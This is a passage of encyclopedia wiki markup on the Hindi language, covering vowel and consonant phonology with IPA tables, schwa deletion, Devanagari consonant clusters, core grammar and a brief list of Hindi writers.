**अः (called ''visarga''), pronounced as / əh /. Used only in Sanskrit loanwords (पः).
**The diacritic अँ (called ''chandrabindu''), not listed in the alphabet, is used interchangeably with the ''anusvāra'' to indicate nasalization of the vowel (पँ).
* If a lonely consonant needs to be written without any following vowel, it is given a ''halanta/virāma'' diacritic below (प्).
* There is less lip-rounding than in English in the long [[open-mid back rounded vowel]] ({{IPA|/ ɔ: /}}: as ''au'' in c'''au'''ght). The vowel / α: / in Hindi is more central and less back than in English.
* '''All''' vowels in Hindi, short or long, can be nasalized.
* In Sanskrit and in some other dialects of Hindi (as well as in a few words in Standard Hindi), the vowel ऐ is pronounced as a diphthong / {{IPA|əi}} / or / ai / rather than / {{IPA|æ:}} /. Similarly, the vowel औ is pronounced in some words as the diphthong / {{IPA|əu}} / or / au / rather than / {{IPA|ɔ:}} /. Other than these, Hindi does not have true diphthongs—two vowels might occur sequentially but then they are pronounced as two syllables (a glide might come in between while speaking).
* In the devanagari script used for Sanskrit, whenever a consonant in a word-ending position is without a ''virāma'' (ie, freely standing in the orthography: प as opposed to प्), the short neutral vowel [[schwa]] ({{IPA|/ ə /}}) is automatically associated with it—this is of course true for the consonant to be in any position in the word. However in Hindi, even if the word-ending consonant is written without a ''virāma'', the associated [[schwa]] is almost '''never''' pronounced. The schwa ({{IPA|/ ə /}}) is pronounced very short only if the absence of [[schwa]] would otherwise make the pronunciation of the word very difficult—such a situation arises when there is a consonantal cluster at the end of the word. The [[schwa]] in Hindi is usually dropped ([[syncope|syncopated]]) in ''khariboli'' even at certain instances in word-middle positions, where the orthography would otherwise dictate so. e.g., रुकना (to stay) is normally pronounced as {{IPA|/ ruknα: /}}, while according to the orthography, it should have been {{IPA|/ rukənα: /}}.

The dropping of [[schwa]] at the end in Hindi (for Sanskrit loanwords) causes a big problem for foreigners (Westerners learning Hindi). The IAST '''a''' appended to the end of these words rather confuses the foreigners to pronounce it as {{IPA|/ α: /}}—this makes the masculine Sanskrit/Hindi words sound like feminine! Some examples are given below:

{|align=&quot;center&quot; border=&quot;2&quot;
|'''Hindi/Sanskrit word'''||'''Usual transliterartion'''||'''Sanskrit pronunciation'''||'''Hindi pronunciation'''||'''Foreigners' pronunciation'''
|-
|शिव—a deity|| [[Shiva]]||{{IPA|/ ʃivə /}}||{{IPA|/ ʃiv /}}||{{IPA|/ ʃi:vα: /}}
|-
|वरुण—a deity|| [[Varuna]]||{{IPA|/ vəruɳə /}}||{{IPA|/ vəruɳ /}}||{{IPA|/ vαrunα: /}}
|-
|वेद—a scripture|| [[Veda]]||{{IPA|/ ve:də /}}||{{IPA|/ ve:d /}}||{{IPA|/ vedα: /}}
|-
|राम—a hero|| [[Rama]] or Rāma||{{IPA|/ rα:mə /}}||{{IPA|/ rα:m /}}||{{IPA|/ rα:mα: /}}
|-
|कामसूत्र—a love manual|| [[Kamasutra]]||{{IPA|/ kα:mə su:trə /}}||{{IPA|/ kα:mm su:tr / or / kα:m su:trə /}}||{{IPA|/ kα:mα: su:trα: /}}
|-
|अशोक—an emperor|| [[Ashoka]] or [[Asoka]]||{{IPA|/ əʃo:kə /}}||{{IPA|/ əʃo:k /}}|| {{IPA|/ αso:kα: / or / αʃo:kα: /}}
|}

''The Handbook of the International Phonetic Association'' also describes the [[near-close near-front unrounded vowel]] ({{IPA|/ ɪ /}})&lt;!--This can be clearly heard in the way many Hindi speakers pronounce लिखना and मिलना for example --&gt; the [[near-close near-back rounded vowel]] ({{IPA|/ ʊ /}}) as occurring in Hindi phonology.

===Consonants===
Hindi has a large [[consonant]] system, with about 38 distinct consonant [[phoneme]]s. An exact number cannot be given, since the regional varieties of Hindi differ in the details of their consonant repertoire. To what extent certain sounds that appear only in foreign words should be considered part of Standard Hindi is also a matter of debate. The traditional core of the consonant system, inherited from [[Sanskrit]], consists of a matrix of 25 [[plosive]]s and 8 [[sonorant]]s and [[fricative]]s.  The system is filled out by 7 sounds that originated in Persian, but are now considered Hindi sounds. The table below shows the phonology of the Hindi consonants. Note that all nasals, trills, flaps, approximants and lateral approximants in Hindi are regarded as [[voiced consonant]]s.

{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-family: Arial Unicode MS, Lucida Sans Unicode&quot;
!
! colspan=&quot;2&quot; | [[Bilabial]]
! colspan=&quot;2&quot; | [[Labiodental|Labio-&lt;br&gt;dental]]
! colspan=&quot;2&quot; | [[Dental]]
! colspan=&quot;2&quot; | [[Alveolar consonant|Alveolar]]
! colspan=&quot;2&quot; | [[Retroflex]]
! colspan=&quot;2&quot; | [[Postalveolar consonant|Post-alveolar/&lt;/br&gt;Palatal]]
! colspan=&quot;2&quot; | [[Velar]]
! colspan=&quot;2&quot; | [[Uvular]]
! colspan=&quot;2&quot; | [[Glottal]]
|- align=center
| [[Plosive]]s ([[unaspirated]])&lt;/br&gt;[[Plosive]]s ([[aspirated]])
| {{IPA|p&lt;br&gt;p&lt;sup&gt;h&lt;/sup&gt;}}
| {{IPA|b&lt;br&gt;b&lt;sup&gt;ɦ&lt;/sup&gt;}}
| colspan=&quot;2&quot; |
| {{IPA|t̪&lt;br&gt;t̪&lt;sup&gt;h&lt;/sup&gt;}}
| {{IPA|d̪&lt;br&gt;d̪&lt;sup&gt;ɦ&lt;/sup&gt;}}
| colspan=&quot;2&quot; |
| {{IPA|ʈ&lt;br&gt;ʈ&lt;sup&gt;h&lt;/sup&gt;}}
| {{IPA|ɖ&lt;br&gt;ɖ&lt;sup&gt;ɦ&lt;/sup&gt;}}
| {{IPA|ʧ ''or'' c&lt;br&gt;ʧ&lt;sup&gt;h&lt;/sup&gt; ''or'' c&lt;sup&gt;h&lt;/sup&gt;}}
| {{IPA|ʤ ''or'' ɟ&lt;br&gt;ʤ&lt;sup&gt;ɦ&lt;/sup&gt; ''or'' ɟ&lt;sup&gt;ɦ&lt;/sup&gt;}}
| {{IPA|k&lt;br&gt;k&lt;sup&gt;h&lt;/sup&gt;}}
| {{IPA|g&lt;br&gt;g&lt;sup&gt;ɦ&lt;/sup&gt;}}
| {{IPA|q}}&lt;br&gt; 
|  |
| colspan=&quot;2&quot; |
|- align=center
| [[nasal consonant|Nasals]]
| colspan=&quot;2&quot; | {{IPA|m}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; | 
| colspan=&quot;2&quot; | {{IPA|n}}
| colspan=&quot;2&quot; | {{IPA|ɳ}}
| colspan=&quot;2&quot; | {{IPA|ɲ}}
| colspan=&quot;2&quot; | {{IPA|ŋ}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|- align=center
| [[Fricative]]s
| colspan=&quot;2&quot; |
| {{IPA|f}}
|  |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| {{IPA|χ}}
| {{IPA|ʁ}}
| {{IPA|h}}
| {{IPA|ɦ}}
|- align=center
| [[Sibilant]]s
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| {{IPA|s}}
| {{IPA|z}}  
| colspan=&quot;2&quot; |
| {{IPA|ʃ}}
|  |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|- align=center
| [[Trill]]s
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |{{IPA|r}} 
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|- align=center
| [[tap consonant|Flaps]]
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; | 
| colspan=&quot;2&quot; | {{IPA|ɽ&lt;br&gt;ɽ&lt;sup&gt;ɦ&lt;/sup&gt;}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|- align=center
| [[Approximant]]s
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; | {{IPA|ʋ}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; | {{IPA|j}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|- align=center
| [[Lateral approximant|Lateral&lt;br&gt;approximant]]
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; | {{IPA|l}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|- align=center
|} 

The 25 plosives occur in five groups, with each group sharing the same position of articulation. These positions in their traditional order are: [[velar]], [[retroflex]], [[palatal]], [[dental]], and [[bilabial]]. In each position, there are five varieties of consonant, with four oral stops and one nasal stop. An oral stop may be [[Voiced consonant|voiced]], [[Aspiration (phonetics)|aspirated]], both, or neither. This four-way opposition is the hardest aspect of Hindi pronunciation for a speaker of English. The table below shows the traditional listing of the Hindi consonants (in its [[Devanagari script]])  with the (nearest) equivalents in English/Spanish. Each consonant shown below is deemed to be followed by the neutral vowel [[schwa]] ({{IPA|/ ə /}}), and is named in the table as such. The Roman script equivalent that is ''normally'' used to transcribe Hindi in ''casual transliteration'' is also given in the second line.

{|class=&quot;wikitable&quot; border=&quot;2&quot;
|align=&quot;center&quot; colspan=&quot;6&quot;|'''Plosives'''
|-
!
![[Unaspirated]]&lt;br&gt;[[Voiceless]]
![[Aspirated]]&lt;br&gt;[[Voiceless]]
![[Unaspirated]]&lt;br&gt;[[Voiced]]
![[Aspirated]]&lt;br&gt;[[Voiced]]
![[Nasal]]
|-align=&quot;center&quot;
|[[Velar]]
|क {{IPA|/ kə /}}&lt;br&gt;k; English: s'''k'''ip
|ख {{IPA|/ k&lt;sup&gt;h&lt;/sup&gt;ə /}}&lt;br&gt;kh; English: '''c'''at
|ग {{IPA|/ gə /}}&lt;br&gt;g; English: '''g'''ame
|घ {{IPA|/ g&lt;sup&gt;ɦ&lt;/sup&gt;ə /}}&lt;br&gt;gh; Aspirated /g/
|ङ {{IPA|/ ŋə /}}&lt;br&gt;n; English: ri'''ng'''
|-align=&quot;center&quot;
|[[Palatal]]
|च {{IPA|/ cə / ''or'' / tʃə /}}&lt;br&gt;ch; English: '''ch'''at
|छ {{IPA|/ c&lt;sup&gt;h&lt;/sup&gt;ə / ''or'' /tʃ&lt;sup&gt;h&lt;/sup&gt;ə/}}&lt;br&gt;chh; Aspirated /c/
|ज {{IPA|/ ɟə / ''or'' / dʒə /}}&lt;br&gt;j; English: '''j'''am
|झ {{IPA|/ ɟ&lt;sup&gt;ɦ&lt;/sup&gt;ə / ''or'' / dʒ&lt;sup&gt;ɦ&lt;/sup&gt;ə /}}&lt;br&gt;jh; Aspirated {{IPA|/ɟ/}}
|ञ {{IPA|/ ɲə /}}&lt;br&gt;n; English: fi'''n'''ch
|-align=&quot;center&quot;
|[[Retroflex]]
|ट {{IPA|/ ʈə /}}&lt;br&gt;t; American Eng: hur'''t'''ing
|ठ {{IPA|/ ʈ&lt;sup&gt;h&lt;/sup&gt;ə /}}&lt;br&gt;th; Aspirated {{IPA|/ʈ/}}
|ड {{IPA|/ ɖə /}}&lt;br&gt;d; American Eng: mur'''d'''er
|ढ {{IPA|/ ɖ&lt;sup&gt;ɦ&lt;/sup&gt;ə /}}&lt;br&gt;dh; Aspirated {{IPA|/ɖ/}}
|ण {{IPA|/ ɳə /}}&lt;br&gt;n; American Eng: hun'''t'''er
|-align=&quot;center&quot;
|Apico-[[Dental]]
|त {{IPA|/ t̪ə /}}&lt;br&gt;t; Spanish: '''t'''oma'''t'''e
|थ {{IPA|/ t̪&lt;sup&gt;h&lt;/sup&gt;ə /}}&lt;br&gt;th; Aspirated {{IPA|/t̪/}}
|द {{IPA|/ d̪ə /}}&lt;br&gt;d; Spanish: '''d'''on'''d'''e
|ध {{IPA|/ d̪&lt;sup&gt;ɦ&lt;/sup&gt;ə /}}&lt;br&gt;dh; Aspirated {{IPA|/d̪/}}
|न {{IPA|/ nə /}}&lt;br&gt;n; English: '''n'''ame
|-align=&quot;center&quot;
|[[Labial]]
|प {{IPA|/ pə /}}&lt;br&gt;p; English: s'''p'''in
|फ {{IPA|/ p&lt;sup&gt;h&lt;/sup&gt;ə /}}&lt;br&gt;ph; English: '''p'''it
|ब {{IPA|/ bə /}}&lt;br&gt;b; English: '''b'''one
|भ {{IPA|/ b&lt;sup&gt;ɦ&lt;/sup&gt;ə /}}&lt;br&gt;bh; Aspirated /b/
|म {{IPA|/ mə /}}&lt;br&gt;m; English: '''m'''ine
|-
|}

{|class=&quot;wikitable&quot; border=&quot;2&quot;
|align=&quot;center&quot; colspan=&quot;5&quot;|'''Non-Plosives/Sonorants'''
|-
!
![[Palatal]]
![[Retroflex]]
![[Dental]]/&lt;br&gt;[[Alveolar]]
![[Velar]]/&lt;br&gt;[[Glottal]]
|-align=&quot;center&quot;
|[[Approximant]]
|य {{IPA|/ jə /}}&lt;br&gt;y; English: '''y'''ou
|र {{IPA|/ rə /}}&lt;br&gt;r; Scottish Eng: t'''r'''ip
|ल {{IPA|/ lə /}}&lt;br&gt;l; English: '''l'''ove
|व {{IPA|/ ʋə /}}&lt;br&gt;v; English: '''v'''ase
|-align=&quot;center&quot;
|[[Sibilant]]/&lt;br&gt;[[Fricative]]
|श {{IPA|/ ʃə /}}&lt;br&gt;sh; English: '''sh'''ip
|ष {{IPA|/ ʂə /}}&lt;br&gt;sh; Retroflex {{IPA|/ʃ/}}
|स {{IPA|/ sə /}}&lt;br&gt;s; English: '''s'''ame
|ह {{IPA|/ ɦə / or / hə /}}&lt;br&gt;h; English '''h'''ome
|-
|}

At the end of the traditional table of alphabets, three cosonantal clusters are also added: क्ष {{IPA|/ kʃə /}} (in Hindi), त्र {{IPA|/ t̪rə /}} and ज्ञ {{IPA|/ gjə /}} (pronunciation given for Hindi). Other than these, sounds borrowed from the other languages like Persian and Arabic are written with a dot (''bindu'' or ''nukta'') beneath the nearest approximate alphabet. They are not included in the traditional listing. Many native Hindi speakers, especially those who come from rural backgrounds and do not speak really good khariboli or Urdu, confused these sounds (except {{IPA|/ ɽ / and / ɽ&lt;sup&gt;ɦ&lt;/sup&gt; /}} and pronounce them as the nearest equivalents in Sanskritized Hindi (listed in column 4). These are:

{|class=&quot;wikitable&quot; border=&quot;2&quot;
|align=&quot;center&quot; colspan=&quot;4&quot;|'''Extra sounds'''
|-
!Symbol
!IPA Pronunciation and name
!English (etc.) equiv.
!Confused with:
|-align=&quot;center&quot;
|क़
|{{IPA|/ qə /}} [[voiceless uvular plosive]]
|Arabic: '''Q'''ur'an
|/ k /
|-align=&quot;center&quot;
|फ़
|{{IPA|/ fə /}} [[voiceless labiodental fricative]]
|English: '''f'''un
|{{IPA|/ p&lt;sup&gt;h&lt;/sup&gt; /}}
|-align=&quot;center&quot;
|ख़
|{{IPA|/ xə /}} [[voiceless velar fricative]]
|German: do'''ch'''
|{{IPA|/ k&lt;sup&gt;h&lt;/sup&gt; /}}
|-align=&quot;center&quot;
|ग़
|{{IPA|/ ʁə /}} [[voiced velar fricative]]
|Persian: Mu'''gh'''al
|/ g /
|-align=&quot;center&quot;
|ज़
|{{IPA|/ zə /}} [[voiced alveolar fricative]]
|English: '''z'''oo
|{{IPA|/ ɟ / ''or'' / dʒ /}}
|-align=&quot;center&quot;
|ड़
|{{IPA|/ ɽə /}} [[unaspirated]] [[retroflex flap]]
|&lt;none&gt;
|
|-align=&quot;center&quot;
|ढ़
|{{IPA|/ ɽ&lt;sup&gt;ɦ&lt;/sup&gt;ə /}} [[aspirated]] [[retroflex flap]]
|&lt;none&gt;
|
|-
|}

ड़ {{IPA|/ ɽə /}} and ढ़ {{IPA|/ ɽ&lt;sup&gt;ɦ&lt;/sup&gt;ə /}} are not of Persian/Arabic origin, but they are allophonic variants of simple voiced retroflex stops of Sanskrit.

===Additional notes on the consonants===
Some additional features of Hindi consonant system are given here, as well as some useful tips to those whose native langugae is English but are interested in learning Hindi language.
*No nasal consonant except / m / and / n / can start a word in Hindi. Hence all the other nasal consonants in modern Hindi tend to be pronounced as either / m / or / n /.
*The distinction between the aspirated and the unaspirated consonants is really very strong, not only in Hindi, but also in Sanskrit and all other Indo-Aryan and Dravidian languages of India.
*The distinction between the dental plosives and the retroflex plosives is also very stark in all Indo-Aryan and Dravidian languages.
*The retroflex flaps cannot start a word. They did not exist as such in Sanskrit—they have sprung up as the allophonic flap variants of Sanskrit's simple [[voiced retroflex plosive]]s. The other Indo-Aryan languages and Dravidian languages tend to use retroflex flaps in their vocabulary even more frequent than Hindi does.
*Aspiration is actually a ''puff of breath'' that may follow a plosive consonant. English speakers should try to pronounce the voiceless aspirates by speaking these words in a quick but clear liason-like fashion:
**&quot;ta'''ke h'''im&quot;, &quot;ge'''t h'''im&quot;, &quot;di'''tch h'''im&quot;, &quot;sla'''p h'''im&quot;.
**One could also try speaking the words &quot;'''k'''ite&quot;, &quot;'''t'''ake&quot;, &quot;'''ch'''ip&quot; and &quot;'''p'''at&quot; with a greater-than-usual puff of breath after the first consonant. The corrsponding ''unaspirated'' plosives must be pronounced with '''no''' significant puff of breath at all.
*For practising the voiced aspirates, one could try: &quot;dra'''g h'''im&quot;, &quot;sai'''d h'''im&quot;, &quot;enra'''ge h'''im&quot;, &quot;gra'''b h'''im&quot;.
*The dental consonants in Hindi are as in Spanish or French. They can be pronounced by pronouncing /t/ and /d/ (of English) by pressing the tip of the tongue against the back of the teeth rather than against the back of the alveolar ridge as done by English speakers. 
*The retroflex consonants are the most difficult to pronounce. They are pronounced by curling the tongue such that its tip touches the roof of the mouth, like how the Americans pronounce their &quot;r&quot;. However in normal Hindi speech, bringing the tip of the tongue a bit above the normal alveolar ridge would also work fine. The retroflex flaps are pronounced in a similar way, by bringing the tongue's tip to the roof of the mouth and giving it a sharp flap downwards.
*Sanskrit / r / is retroflex, but Hindi / r / is alveolar [[trill]], as in Scottish English.
*The palatal plosives of Hindi do not have a sharp frictional sound following them. These are more of pure plosives than [[affricate]]s.
*Hindi has neither / v / nor / w /. Its nearest equivalent is {{IPA|/ ʋ /}}, which is very close to /v/, but does not have a friction or buzzing sound associated with it. But replacing it with / v / will also work fine.
*The retroflex sibilant {{IPA|/ ʂ /}} need not be worried about, because it has been replaced by {{IPA|/ ʃ /}} in modern Hindi pronunciation.
*It is doubtful whether Hindi has a voiced glottal fricative {{IPA|/ɦ/}} (for the alphabet ह) or not. Sanskrit does have this. But it would cause no problem to use the normal English &quot;h&quot; (&quot;'''h'''ome) for it.
*The standard transliteration of Hindi into the Roman (English) alphabet) is usually the [[IAST]] scheme, whereby the retroflex consonants (retroflex ''t'', ''d'', their aspirates, ''n'', vowel-like ''r'') and the breath ''h'' are shown with a dot beneath; the long vowels are shown with a macron or a bar (as {{Unicode|ā}} above; aspiration of a plosive is shown with a following ''h'', and {{Unicode|ś}} is used for ''sh''; and ''c'' is used for ''ch''. Rest other alphabets are pronounced as in normal English. Another transliteration ([[ITRANS]]) uses capital letters of English to transcribe the long vowels and retroflex consonants. However, since English is a lingua franca of the educated Indians, and since computer keyboards do not have features for typing the IAST characters, Indians today use a casual transliteration into English for Hindi words; in such a casual transliteration, the retroflex and dental consonants are not differentiated, and neither the short and the long vowels (except that sometimes people double the alphabet to indicate a long vowel).

===Supra-segmental features===
Hindi has a stress accent, but it not so important as in English. Usually in a multisyllabic Hindi word, the stress falls on the last syllable if all the syllables are due to long vowels or all are due to short vowels. If the word contains a mixture or short and long vowels, the stress falls automatically on the long vowels almost equally. The [[schwa]] {{IPA|/ ə /}} has a strong tendency to vanish into nothing if its syllable is unaccented. Also note that although in Hindi, many words end in short / u / or short / i /, while speaking, the ending is often converted to long / i: / and long / u: /. The tone of speaking is very important in Hindi (although Hindi is not a tonal language like Chinese) —to express the sentiments of respect, politeness, question, etc.

==Writing system==
Hindi is written in the standardized [[Devanagari script]] which is written from left to right. The [[Devanagari]] script represents the sounds of spoken Hindi very closely, so that a person who knows the Devanagari letters can sound out a written Hindī text comprehensibly, even without knowing what the words mean. The entire alphabet has been discussed in the preceding section on phonogy.

The next table gives the system of combining two consonants, ie., making a consonant cluster. To write a consonant cluster {{IPA|/ XYə /}} from {{IPA|/ Xə /}} and {{IPA|/ Yə /}} syllables, Hindi usually converts the alphabetic symbol of the initial consonant X into the corresponding half-consonant (sic)—mostly achieved by cutting the right-side portion of the alphabet. To write the cluster {{IPA|/ XYZə /}}, similarly, both X and Y would be &quot;cut&quot;. There are many variants for this consonant cluster writing in devanagari script. The most common system is shown below for the traditional table. Here the second vowel is taken to be / n /, followed by the [[schwa]].

{|class=&amp;;quot;wikitable&quot; border=&quot;2&quot;
|'''ka-group'''||क्न {{IPA|/ knə /}} || ख्न {{IPA|/ k&lt;sup&gt;h&lt;/sup&gt;nə /}} ||ग्न {{IPA|/ gnə /}} ||घ्न {{IPA|/ g&lt;sup&gt;ɦ&lt;/sup&gt;nə /}} ||ङ्न {{IPA|/ ŋnə /}} 
|-
|'''cha-group'''||च्न {{IPA|/ cnə /}} ||छ्न {{IPA|/ c&lt;sup&gt;h&lt;/sup&gt;nə /}} ||ज्न {{IPA|/ ɟnə /}} ||झ्न {{IPA|/ ɟ&lt;sup&gt;ɦ&lt;/sup&gt;nə /}} ||ञ्न {{IPA|/ ɲnə /}} 
|-
|'''Ta-group'''||ट्न {{IPA|/ ʈnə /}} ||ठ्न {{IPA|/ ʈ&lt;sup&gt;h&lt;/sup&gt;nə /}} ||ड्न {{IPA|/ ɖnə /}} ||ढ्न {{IPA|/ ɖ&lt;sup&gt;ɦ&lt;/sup&gt;nə /}} ||ण्न {{IPA|/ ɳnə /}} 
|-
|'''ta-group'''||त्न {{IPA|/ t̪nə /}} ||थ्न {{IPA|/ t̪&lt;sup&gt;h&lt;/sup&gt;nə /}} ||द्न {{IPA|/ d̪nə /}} ||ध्न {{IPA|/ d̪&lt;sup&gt;ɦ&lt;/sup&gt;nə /}} ||न्न {{IPA|/ nnə /}} 
|-
|'''pa-group'''||प्न {{IPA|/ pnə /}} ||फ्न {{IPA|/ p&lt;sup&gt;h&lt;/sup&gt;nə /}} ||ब्न {{IPA|/ bnə /}} ||भ्न {{IPA|/ b&lt;sup&gt;ɦ&lt;/sup&gt;nə /}} ||म्न {{IPA|/ mnə /}} 
|-
|'''ya-group'''||य्न {{IPA|/ ynə /}} ||र्न {{IPA|/ rnə /}} ||ल्न {{IPA|/ lnə /}} ||व्न {{IPA|/ ʋnə /}} || 
|-
|'''sha-group'''||श्न {{IPA|/ ʃnə /}} ||ष्न {{IPA|/ ʂnə /}} ||स्न {{IPA|/ snə /}} ||ह्न {{IPA|/ hnə /}} || 
|-
|}

This table gives only theoretical combination of consonant clusters. In practice, the number of allowable consonant clusters of Hindi is limited.

==Grammar==
''Main article'': [[Hindi grammar]]

Despite Hindi and English both being Indo-European languages, Hindi grammar can be very complex and is different in many ways from what English speakers are used to. Most notably, Hindi is a subject-object verb language, meaning that verbs usually fall at the end of the sentence rather than after the subject (as in English).  Hindi also shows mixed ergativity so that, in some cases, verbs agree with the object of a sentence rather than the subject.

In addition, Hindi uses [[postposition]]s (so called because they are placed after nouns) where English uses prepositions. Other differences include gender, honorifics, interrogatives, use of cases, and different tenses. While being complicated, Hindi grammar is fairly regular, with irregularities being relatively limited. Despite differences in vocabulary and writing, Hindi grammar is nearly identical with Urdu. The concept of punctuation having been entirely unknown before the advent of the Europeans, Hindi punctuation uses western conventions for commas, exclamation points, and question marks. Periods are sometimes used to end a sentence, though the traditional &quot;full stop&quot; (a vertical line) is more generally used.

===Genders===
In Hindi (and of course in Urdu too), there are only '''two''' genders for nouns. All male human beings and male animals (or those animals and plants which are perceived to be &quot;masculine&quot;) are '''masculine'''. All female human beings and female animals (or those animals and plants which are perceived to be &quot;feminine&quot;) are '''feminine'''. Things, inanimate articles and abstract nouns are also either masculine or feminine according to convention, which must be ''learnt by heart'' by non-Hindi speakers if they wish to learn correct Hindi. The ending of a word, if a vowel, usually helps in this gender classification. Among ''tatsam'' words, the masculine words of Sanskrit remain masculine in Hindi, and same is the case for the feminine. Sanskrit neuter nouns usually become masculine in Hindi. Among the ''tadbhav'' words, if a word end in long / α: /, it is normally masculine. If a word ends in / i: / or / in/, it is normally feminine. Similarly, the gender is also tried to be preserved for words borrowed from Arabic and Persian. The categorization of Hindi words directly borrowed from English (which are numerous) is very arbitrary—but could be influenced by the ending. Adjectives ending in long / α: / must get inflected to agree with the gender of the noun.

===Interrogatives===
Besides the standard interrogative terms of who (''kaun''), what (''kyaa''), why (''kyõ''), when (''kab''), where (''kahã''), how (''kaisé''), how many (''kitnaa''), what type (''kaisaa''), etc, the Hindi word kyaa (क्या) can be used as a generic interrogative often placed at the beginning of a sentence to turn a statement into a Yes/No question. This makes it clear when a question is being asked. Questions can also be formed simply by modifying intonation, exactly as some questions are in English.

===Pronouns===
Hindi has pronouns in the first, second and third person, '''all''' for one gender only. Thus, unlike English, there is no difference between '''he''' or '''she'''. More strictly speaking, the third person of the pronoun is actually the same as the demonstrative pronoun (this / that). The verb, upon conjugation, usually indicates the difference in the gender. The pronouns have additional cases of [[accusative]] and [[genitive]]. There may also be multiple ways of inflecting the pronoun, which are given in parentheses. Note that for the second person of the pronoun (''you''), Hindi has three levels of honorifics:
*'''&amp;#2310;&amp;#2346;''' (/ α:p /): Formal and respectable form for ''you''. Has no difference between the singular and the plural. Used in all formal settings and speaking to persons who are senior in job or age. Plural could be stressed by saying &amp;#2310;&amp;#2346; &amp;#2354;&amp;#2379;&amp;#2327; (/ α:p log / ''you people'') or &amp;#2310;&amp;#2346; &amp;#2360;&amp;#2348; (/ α:p səb /) ''you all'').
*'''&amp;#2340;&amp;#2369;&amp;#2350;''' (/ tum /): Informal form of ''you''. Has no difference between the singular and the plural. Used in all informal settings and speaking to persons who are junior in job or age. Plural could be stressed by saying &amp;#2340;&amp;#2369;&amp;#2350; &amp;#2354;&amp;#2379;&amp;#2327; (/ tum log / ''you people'') or &amp;#2340;&amp;#2369;&amp;#2350; &amp;#2360;&amp;#2348; (/ tum səb /) ''you all'').
*'''&amp;#2340;&amp;#2370;''' (/ tu: /): Extremely informal form of ''you'', as ''thou''. Strictly singular, its plural form being / tum /. Except for very close friends or poetic language involving God, it could be perceived as offensive in India.

Because imperatives can already include politeness, the word &quot;kripayā&quot;, which can be translated as &quot;please&quot;, is much less common than in spoken English; it is generally only used in writing or announcements, and its use in common speech is usually intended as mockery.

Unlike English, Hindi has '''no''' definite article (''the''). The numeral ''ek'' might be used as the indefinite singular article (''a/an'') if this needs to be stressed.

===Word order===
The standard word order in Hindi is, in general, [[Subject Object Verb]], but where different emphasis or more complex structure is needed, this rule is very easily set aside (provided that the nouns/pronouns are always followed by their postpositions or case markers). More specifically, the standard order is 1. Subject 2. Adverbs (in their standard order) 3. Indirect object and any of its adjectives 4. Direct object and any of its adjectives 5. Negation term or interrogative, if any, and finally the 6. Verb and any auxiliary verbs. (Snell, p93) The standard order can be modified in various ways to impart emphasis on particular parts of the sentence. Negation is formed by adding the word &quot;nahiin&quot; (&quot;no&quot;), in the appropriate place in the sentence, or by utilizing the particle &quot;na&quot; in some cases.

===Common tenses and aspects of Hindi verbs===
Some of the most common verb [[Grammatical tense|tenses]] include the present imperfect, present continuous, past imperfect, past continuous, past perfect, and future. Present imperfect is used for habitual actions or states of being. The present continuous is used for ongoing actions, while the past continuous reflects actions that were occurring at a particular time. The past imperfect is used for past habitual actions or conditions, while the past perfect reflects completed actions and has three forms including simple past perfect and two forms akin to where English would use have or had &quot;done&quot;. Hindi also has imperative, sunjunctive and the conditional moods. Usually, the aspect, tense and the mood is shown by a variety of auxillaries. Note that the verbs must be properly conjugated not only to show the number of the noun / pronoun, but also its gender.

''See also:'' [[Grammatical aspect]].
&lt;!-- Did not cover subjunctive or conditional. I also didn’t distinguish anything about aspect because I don’t know much about it.  Tenses are present, past, and future.  Common aspects are continuous, progressive, imperfect or habitual, and perfective (for completed actions).  Hindi makes use of the progressive, while English does not distinguish between progressive and continuous.  I believe subjunctive is a mood.--&gt;

===Case===
Hindi is a poorly inflected language; the relationship of a noun in a sentence is usually shown by '''postpositions''' (i.e., prepositions that ''follow'' the noun). Hindi has three cases for nouns. The '''Direct case''' is used for nouns not followed by any postpositions, typically for the subject case. The '''[[Oblique case]]''' is used for any nouns that is followed by a postposition. Some nouns have a separate '''Vocative case'''. Hindi has two numbers: singular and plural—but they may not be shown distinctly in all declinations.

===Postpositions===
Hindi uses postpositions to show the relationship between the noun and the verb. Postpositions are those prepositions that follow the noun / pronoun rather than preceeding it.

==Literature==
''Main article: [[Hindi literature]]''

The beginnings of [[Hindi Literature|Hindi literature]] can be traced to the [[Prakrit]]s of classical [[Sanskrit literature|Sanskrit plays]]. [[Tulasidas]]'s [[Ramacharitamanasa]] attained wide popularity. Modern litterateurs include [[Jaishankar Prasad]], [[Sumitranandan Pant]], [[Maithili Sharan Gupta]], [[Suryakant Tripathi 'Nirala']], [[Mahadevi Varma]], [[Sachchidananda Hirananda Vatsyayana]] 'Ajneya' and [[Munshi Premchand]].

==Hindi cinema==
